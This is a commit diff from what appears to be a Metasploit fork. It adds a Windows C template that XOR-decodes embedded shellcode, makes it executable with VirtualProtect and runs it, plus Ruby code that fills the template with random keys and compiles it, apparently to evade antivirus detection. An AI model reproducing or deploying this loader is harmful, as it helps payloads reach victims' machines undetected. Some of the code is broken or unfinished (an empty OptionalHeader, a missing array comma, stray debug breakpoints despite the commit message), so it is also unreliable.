Skip to content

Commit 4b1cbc6

Browse files
committed
Adds template with more randomized execution, removes debug breakpoints
1 parent baac440 commit 4b1cbc6

11 files changed

Lines changed: 167 additions & 92 deletions

File tree

.c

Lines changed: 0 additions & 11 deletions
This file was deleted.
Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,32 @@
11
#include <Windows.h>
22

33
#define SCSIZE <%= payload_length %>
4+
45
char bPayload[SCSIZE] = "<%= payload %>";
56

7+
char GetKey()
8+
{
9+
char hardcoded = bPayload[0];
10+
for (int i = 0; i <= 255; i++)
11+
{
12+
char res = i ^ hardcoded;
13+
if (res == (char)<%= "0x%02x"% control_byte %>)
14+
return (char)i;
15+
}
16+
}
17+
618
void main() {
719
DWORD dwOldProtect;
20+
char* payload_fnc = NULL;
21+
char key = GetKey();
22+
23+
for (int i = 0; i < SCSIZE; i++)
24+
{
25+
bPayload[i] = bPayload[i] ^ key;
26+
}
27+
payload_fnc = bPayload + 1;
828
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
9-
(*(void (*)()) bPayload)();
29+
(*(void (*)()) payload_fnc)();
1030
return;
1131
}
32+
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
require 'metasm'
2+
require 'pry'
3+
require 'pry-byebug'
4+
5+
module Metasploit
6+
module Framework
7+
module Compiler
8+
9+
class Custom
10+
11+
DOS_STUB = (
12+
"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21" \
13+
"This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00"
14+
).b.freeze
15+
16+
RICH_HEADER = ("\x7E\x13\x87\xAA\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x33\x0A\x7A\xF9\x30\x72\xE9\xF9\xF1\x1D\xE8\xF8\x38\x72\xE9\xF9\xF1\x1D\xEC\xF8\x2B\x72\xE9\xF9\xF1\x1D\xED\xF8\x30\x72\xE9\xF9\xF1\x1D\xEA\xF8\x39\x72\xE9\xF9\x61\x1A\xE8\xF8\x3F\x72\xE9\xF9\x3A\x72\xE8\xF9\x0A\x72\xE9\xF9\xBC\x02\xE0\xF8\x3B\x72\xE9\xF9\xBC\x02\x16\xF9\x3B\x72\xE9\xF9\xBC\x02\xEB\xF8\x3B\x72\xE9\xF9\x52\x69\x63\x68\x3A\x72\xE9\xF9\x00\x00\x00\x00\x00\x00\x00\x00").b.freeze
17+
18+
COMMON_OFFSETS = [0x40, 0x80].freeze
19+
20+
def DOSHeader(pe_entry=nil)
21+
e_lfanew = pe_entry || COMMON_OFFSETS.sample
22+
dos_header = [
23+
"MZ".b, # e_magic
24+
"\x00\x00".b, # e_cblp
25+
"\x00\x00".b, # e_cp
26+
"\x00\x00".b, # e_crlc
27+
"\x00\x00".b, # e_cparhdr
28+
"\x00\x00".b, # e_minalloc
29+
"\x00\x00".b, # e_maxalloc
30+
"\x00\x00".b, # e_ss
31+
"\x00\x00".b, # e_sp
32+
"\x00\x00".b, # e_csum
33+
"\x00\x00".b, # e_ip
34+
"\x00\x00".b, # e_cs
35+
"\x40\x00".b, # e_lfarlc (offset to the DOS stub)
36+
[e_lfanew].pack('V') # e_lfanew (offset to the PE header)
37+
].join
38+
39+
dos_header + DOS_STUB
40+
end
41+
42+
def RichHeader
43+
RICH_HEADER
44+
end
45+
46+
def OptionalHeader
47+
48+
end
49+
50+
def NTHeader(numberOfSections=1)
51+
optionalHeader = OptionalHeader()
52+
sizeOfOptionalHeader = optionalHeader.length
53+
[
54+
# DWORD Signature
55+
"PE\0\0".b, # Signature
56+
# IMAGE_FILE_HEADER FileHeader
57+
"\x64\x86".b, # Machine (0x14c for x86)
58+
[numberOfSections].pack('v'), # NumberOfSections
59+
"\x19\x5e\x42\x2a".b, # TimeDateStamp - TODO: randomize
60+
"\x00\x00\x00\x00".b, # PointerToSymbolTable
61+
"\x00\x00\x00\x00".b, # NumberOfSymbols
62+
[sizeOfOptionalHeader].pack('v'), # SizeOfOptionalHeader
63+
"\x02\x01".b # Characteristics (0x102 for executable) - TODO: randomize
64+
# IMAGE_OPTIONAL_HEADER OptionalHeader
65+
optionalHeader
66+
].join
67+
end
68+
69+
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
70+
71+
binding.pry
72+
73+
raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe
74+
75+
76+
end
77+
78+
end
79+
end
80+
end
81+
end

lib/msf/base/simple/payload.rb

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,5 @@
11
# -*- coding: binary -*-
22

3-
require 'pry'
4-
require 'pry-byebug'
5-
63
module Msf
74
module Simple
85

@@ -40,7 +37,6 @@ module Payload
4037
# ArgumentParseError => Options were supplied improperly
4138
#
4239
def self.generate_simple(payload, opts, &block)
43-
binding.pry
4440
# Clone the module to prevent changes to the original instance
4541
payload = payload.replicant
4642
Msf::Simple::Framework.simplify_module(payload)

lib/msf/core/encoded_payload.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -421,7 +421,11 @@ def encoded_exe(opts={})
421421
:template => emod.datastore['EXE::Template'],
422422
:inject => emod.datastore['EXE::Inject'],
423423
:fallback => emod.datastore['EXE::FallBack'],
424-
:sub_method => emod.datastore['EXE::OldMethod']
424+
:sub_method => emod.datastore['EXE::OldMethod'],
425+
:dynamic_template_enabled => emod.datastore['EXE::Template::Dynamic::Enabled'],
426+
:dynamic_template_obfluscation => emod.datastore['EXE::Template::Dynamic::Obfluscation'],
427+
:dynamic_template_customtemplate => emod.datastore['EXE::Template::Dynamic::CustomTemplate'],
428+
:dynamic_template_compiler => emod.datastore['EXE::Template::Dynamic::Compiler']
425429
})
426430
# Prefer the target's platform/architecture information, but use
427431
# the exploit module's if no target specific information exists.

lib/msf/core/exploit/exe.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -27,10 +27,6 @@ def initialize(info = {})
2727
OptPath.new('MSI::Path', [false, 'The directory in which to look for the msi template']),
2828
OptPath.new('MSI::Template', [false, 'The msi template file name']),
2929
OptBool.new('MSI::UAC', [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)']),
30-
OptBool.new('EXE::Obfuscation::Enabled', [false, 'Use JIT obfuscation when generating the executable', false]),
31-
OptPath.new('EXE::Obfuscation::Template', [false, 'The JIT obfuscation template file name. This should be a C file that will be compiled with the payload embedded in it.']),
32-
OptPath.new('EXE::Obfuscation::Path', [false, 'The directory in which to look for the JIT obfuscation template']),
33-
OptEnum.new('EXE::Obfuscation::Compiler', [true, 'The compiler to use for JIT obfuscation', 'metasm',['mingw', 'metasm']])
3430
], self.class)
3531
end
3632

@@ -188,7 +184,11 @@ def exe_init_options(opts)
188184
:template => datastore['EXE::Template'],
189185
:inject => datastore['EXE::Inject'],
190186
:fallback => datastore['EXE::FallBack'],
191-
:sub_method => false
187+
:sub_method => false,
188+
:dynamic_template_enabled => datastore['EXE::Template::Dynamic::Enabled'],
189+
:dynamic_template_obfluscation => datastore['EXE::Template::Dynamic::Obfluscation'],
190+
:dynamic_template_customtemplate => datastore['EXE::Template::Dynamic::CustomTemplate'],
191+
:dynamic_template_compiler => datastore['EXE::Template::Dynamic::Compiler']
192192
})
193193

194194
# NOTE: If code and platform/arch are supplied, we use those values and skip initialization.

lib/msf/core/module.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -150,7 +150,11 @@ def initialize(info = {})
150150
register_advanced_options(
151151
[
152152
OptString.new('WORKSPACE', [ false, "Specify the workspace for this module" ]),
153-
OptBool.new('VERBOSE', [ false, 'Enable detailed status messages', false ])
153+
OptBool.new('VERBOSE', [ false, 'Enable detailed status messages', false ]),
154+
OptBool.new('EXE::Template::Dynamic::Enabled', [false, 'Use dynamic template when generating the executable', false]),
155+
OptPath.new('EXE::Template::Dynamic::CustomTemplate', [false, 'Use custom template when generating the executable']),
156+
OptBool.new('EXE::Template::Dynamic::Obfluscation', [false, 'Use JIT obfuscation when generating the executable', false]),
157+
OptEnum.new('EXE::Template::Dynamic::Compiler', [false, 'The compiler to use for JIT obfuscation', 'metasm',['mingw', 'metasm', 'msfcompile']])
154158
], Msf::Module)
155159

156160
end
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
require 'erb'
2+
require 'metasploit/framework/compiler/mingw'
3+
require 'metasploit/framework/compiler/windows'
4+
require 'metasploit/framework/compiler/custom'
5+
require 'pry'
6+
require 'pry-byebug'
7+
8+
module Msf::Obfluscation::ExeTemplate
9+
10+
def self.exe_template_compile(framework, code, opts)
11+
12+
binding.pry
13+
14+
template_path = framework.datastore['EXE::Template::Dynamic::CustomTemplate']
15+
template_path ||= File.join(Msf::Config.data_directory, 'templates','template_x64_windows.erb')
16+
17+
key = rand(256)
18+
control_byte = rand(256)
19+
20+
code.prepend(control_byte.chr)
21+
22+
payload_length = code.bytesize
23+
24+
payload = code.bytes.map { |b| "\\x%02x" % (b ^ key) }.join
25+
encoded_first_byte = key ^ control_byte
26+
27+
template = ERB.new(File.read(template_path))
28+
source_c = template.result(binding)
29+
30+
# if framework.datastore['exe::template::dynamic::obfluscation']
31+
32+
33+
case framework.datastore['EXE::Template::Dynamic::Compiler']
34+
when 'metasm'
35+
return Metasploit::Framework::Compiler::Windows.compile_c(source_c, :exe,Metasm::X86_64.new)
36+
when 'msfcompile'
37+
return Metasploit::Framework::Compiler::Custom.compile_c(source_c, :exe)
38+
else
39+
raise "Unknown compiler: #{opts['EXE::Template::Dynamic::Compiler']}"
40+
end
41+
42+
end
43+
44+
end

lib/msf/core/obfuscation/exe_template.rb

Lines changed: 0 additions & 64 deletions
This file was deleted.

lib/msf/util/exe.rb

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,4 @@
11
# -*- coding: binary -*-
2-
require 'pry'
3-
require 'pry-byebug'
42

53
module Msf::Util::EXE
64
include Msf::Util::EXE::Common
@@ -104,7 +102,6 @@ def to_executable(framework, arch, plat, code = '', fmt='', opts = {})
104102
def to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
105103
# For backwards compatibility with the way this gets called when
106104
# generating from Msf::Simple::Payload.generate_simple
107-
binding.pry
108105
if arch.is_a? Array
109106
output = nil
110107
arch.each do |a|

0 commit comments

Comments
 (0)